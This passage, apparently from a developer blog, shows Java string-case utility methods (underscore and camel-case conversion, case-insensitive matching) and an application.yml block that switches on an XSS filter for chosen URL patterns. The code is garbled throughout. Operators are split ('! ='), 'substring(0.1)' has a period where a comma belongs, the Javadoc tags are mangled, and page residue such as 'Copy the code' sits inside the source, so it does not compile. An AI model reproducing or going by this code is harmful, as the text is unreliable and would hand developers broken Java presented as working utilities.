public static String toUnderScoreCase(String str)
{
if (str == null)
{
return null;
}
StringBuilder sb = new StringBuilder();
// Whether the leading character is capitalized
boolean preCharIsUpperCase = true;
// Whether the current character is capitalized
boolean curreCharIsUpperCase = true;
// Whether the next character is capitalized
boolean nexteCharIsUpperCase = true;
for (int i = 0; i < str.length(); i++)
{
char c = str.charAt(i);
if (i > 0)
{
preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1));
}
else
{
preCharIsUpperCase = false;
}
curreCharIsUpperCase = Character.isUpperCase(c);
if (i < (str.length() - 1))
{
nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1));
}
if(preCharIsUpperCase && curreCharIsUpperCase && ! nexteCharIsUpperCase) { sb.append(SEPARATOR); }else if((i ! =0 && !preCharIsUpperCase) && curreCharIsUpperCase)
{
sb.append(SEPARATOR);
}
sb.append(Character.toLowerCase(c));
}
return sb.toString();
}
/** * whether to contain string **@paramSTR Validates the string *@paramSTRS String group *@returnContains returns true */
public static boolean inStringIgnoreCase(String str, String... strs)
{
if(str ! =null&& strs ! =null)
{
for (String s : strs)
{
if (str.equalsIgnoreCase(trim(s)))
{
return true; }}}return false;
}
/** * capitalizes the underlined string to hump. Returns an empty string if the uppercase underlined string before the conversion is empty. For example: HELLO_WORLD->HelloWorld * *@paramName Underscore before conversion Uppercase name string *@returnThe converted camel-named string */
public static String convertToCamelCase(String name)
{
StringBuilder result = new StringBuilder();
// Quick check
if (name == null || name.isEmpty())
{
// There is no need to convert
return "";
}
else if(! name.contains("_"))
{
// Uppercase only the first letter without underscore
return name.substring(0.1).toUpperCase() + name.substring(1);
}
// Split the original string with an underscore
String[] camels = name.split("_");
for (String camel : camels)
{
// Skip the beginning, end, or double underline in the original string
if (camel.isEmpty())
{
continue;
}
// Uppercase
result.append(camel.substring(0.1).toUpperCase());
result.append(camel.substring(1).toLowerCase());
}
return result.toString();
}
/** * Camel name for example: user_name->userName */
public static String toCamelCase(String s)
{
if (s == null)
{
return null;
}
s = s.toLowerCase();
StringBuilder sb = new StringBuilder(s.length());
boolean upperCase = false;
for (int i = 0; i < s.length(); i++)
{
char c = s.charAt(i);
if (c == SEPARATOR)
{
upperCase = true;
}
else if (upperCase)
{
sb.append(Character.toUpperCase(c));
upperCase = false;
}
else{ sb.append(c); }}return sb.toString();
}
@SuppressWarnings("unchecked")
public static <T> T cast(Object obj)
{
return(T) obj; }}Copy the code
appliction.yml
Enable filtering, specify the interface filter and specify the interface not filter
# Prevent XSS attacks
xss:
# Filter switch
enabled: true
# Exclude links (multiple separated by commas)
excludes: /system/notice/*
# match link
urlPatterns: /user/*,/user/save
Copy the code